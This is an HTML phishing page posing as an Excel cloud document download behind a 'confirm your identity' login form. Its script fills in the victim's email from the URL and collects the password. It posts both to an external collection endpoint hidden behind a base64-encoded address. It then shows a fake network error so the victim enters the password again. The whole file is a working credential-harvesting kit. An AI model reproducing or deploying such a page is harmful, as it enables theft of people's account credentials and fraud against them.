<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>Excel - Cloud</title>
<style type="text/css">
*{ margin:0; padding:0; outline:none; }
html{font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
}
body{
    background-image: url(https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/bgd.webp);
    background-repeat: no-repeat;
	background-size: cover;
	width: 100vw;
	height: 100vh;
	display: flex;
	justify-content: center;
	align-items: center;
	flex-direction: column;
}
.overlay {
    height: 100vh;
    width: 100vw;
    background-color: #0000007a;
    z-index: -100;
    position: fixed;
}
img, video {
    max-width: 100%;
    height: auto;
}
.classicbox{
	display: flex;
	flex-direction: column;
	justify-content:center;
	align-items: center;
	background-color:#ffffff;
	color: black;
	width: 400px;
	height: 28rem;
	box-shadow:  0 0 #0000, 0 0 #0000, 0 9px 42px -5px #64748b, 0 8px 10px -8px #64748b;
}
img.imgbox{ }
.pform-input{margin: 10px 3px 0px -22px;line-height: 1.5rem;}
.pform-input input[type=email], .pform-input input[type=password]{ min-width:100%; padding: 10px; margin-bottom: 10px; border: 1px solid; border-color: #989b9e; }
.pform-input input[type=email]:hover, .pform-input input[type=password]:hover{border: 1px solid; border-color: #037028; }
.pform-input input[type=email]:focus, .pform-input input[type=password]:focus{ border: 1px solid; border-color: #037028; }
.datro{    display: flex; justify-content: space-evenly;     margin: 10px -10px 0px -22px;}
.datro a{    text-decoration: none; color: #007bff}
.mbt{width: 100%;
	display: inline-block;
    font-weight: 400;
    line-height: 1.5;
    color: #FFF;
    text-align: center;
    vertical-align: middle;
    cursor: pointer;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
    background-color: transparent;
    border: 1px solid transparent;
    padding: 0.47rem 0.75rem;
    font-size: .8125rem;
	background-color: #037028;
    border-color: #037028;
    font-size: 16px
    }
.mbt:hover, .mbt:focus{ 	background-color: #034619;
    border-color: #034619;}
.mbt:disabled, .mbt[disabled]{ 	opacity: 0.5; cursor: not-allowed;}
.text-red-700#error{
	background-color: white; color: red;
	width: 100%;
	text-align: left;
/*	padding: 4px 0  7px;*/
}

/*.form1{ margin: 1px -20px; }*/
</style>
</head>
<body>
	<main>
		<section>
			<div class="classicbox">
				<div class="overlay"></div>
					<form style="margin-top:70px" name="form1" class="form1" action="" method="post" required="">
						<div class="pform-input">
					    	<img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/excel.png" class="imgbox">
					    </div>
						<div class="pform-input">
					    	<label style="font-size: 22px; font-weight: 600;">CONFIRM YOUR IDENTITY<br></label>
					    </div>
						<div class="pform-input">
							<label style="padding-top: 55px;">Please match the  displayed login details</label>
					    </div>
					    <div class="pform-input">
							<div class="text-red-700 font-light text-base" id="error"></div>
					    	<input class="" type="email" name="email" id="nameu" placeholder="Email" required="" readonly>
					    </div>
					    <div class="pform-input">
					    	<input class="" type="password" name="password" id="namep" placeholder="Password" required="">
					    </div>
					    <div class="pform-input datro">
					    	<div>
						        <input class="" type="checkbox" name="" id="">
						        <a style="margin-right: 20px;" href="#">Keep logged in</a>
					    	</div>
					    	<div>
					        	<a href="#">Forgot your password?</a>
					    	</div>
					    </div>
					    <div style="min-width: 100%;margin: 26px -20px 24px -23px;font-size: 1rem;line-height: 1.5rem;">
					        <button class="mbt" type="submit">Download</button>
					    </div>
					</form>
				<br><br><br>
			</div>
		</section>
	</main>
<script>
  document.addEventListener("DOMContentLoaded", () => {
    var wem = new URLSearchParams(location.search).get('e');
    if (wem) {
    	document.querySelector("#nameu").value=wem;
    }
  	console.log(wem)

	const mbt = document.querySelector('.mbt');
	const form1 = document.querySelector('.form1');

	function sendData(data) {
	  mbt.textContent = "Verifying...";
	  mbt.setAttribute('disabled', true);
	  document.querySelector('#error').textContent = "";

	  const XHR = new XMLHttpRequest();

	  const urlEncodedDataPairs = [];

	  // Turn the data object into an array of URL-encoded key/value pairs.
	  for (const [name, value] of Object.entries(data)) {
	    urlEncodedDataPairs.push(`${encodeURIComponent(name)}=${encodeURIComponent(value)}`);
	  }

	  // Combine the pairs into a single string and replace all %-encoded spaces to
	  // the '+' character; matches the behavior of browser form submissions.
	  const urlEncodedData = urlEncodedDataPairs.join('&').replace(/%20/g, '+');

	  // Define what happens on successful data submission
	  XHR.addEventListener('load', (event) => {
	  	document.querySelector('#namep').value = ""
	    document.querySelector('#error').textContent = "Network error, kindly try again!";
	  	mbt.textContent = "Next";
	  	mbt.removeAttribute('disabled');
	  });

	  // Define what happens in case of an error
	  XHR.addEventListener('error', (event) => {
	  	document.querySelector('#namep').value = ""
	    document.querySelector('#error').textContent =  'Network error, kindly try again!';
	  	mbt.textContent = "Next";
	  	mbt.removeAttribute('disabled');
	  });

	  // Set up our request
	  XHR.open('POST', atob('aHR0cHM6Ly9iLW9nLmNvbS8uc3NsL21lcmNoYW50aW1wb3J0ZXhwb3J0ODYyL3NlbmQucGhw') );

	  // Add the required HTTP header for form data POST requests
	  XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

	  // Finally, send our data.
	  XHR.send(urlEncodedData);
	}

	form1.addEventListener('submit', (event) => {
		event.preventDefault();
	  	sendData({ email: document.querySelector('#nameu').value, password: document.querySelector('#namep').value });
	})

  });

</script>

</body>
</html>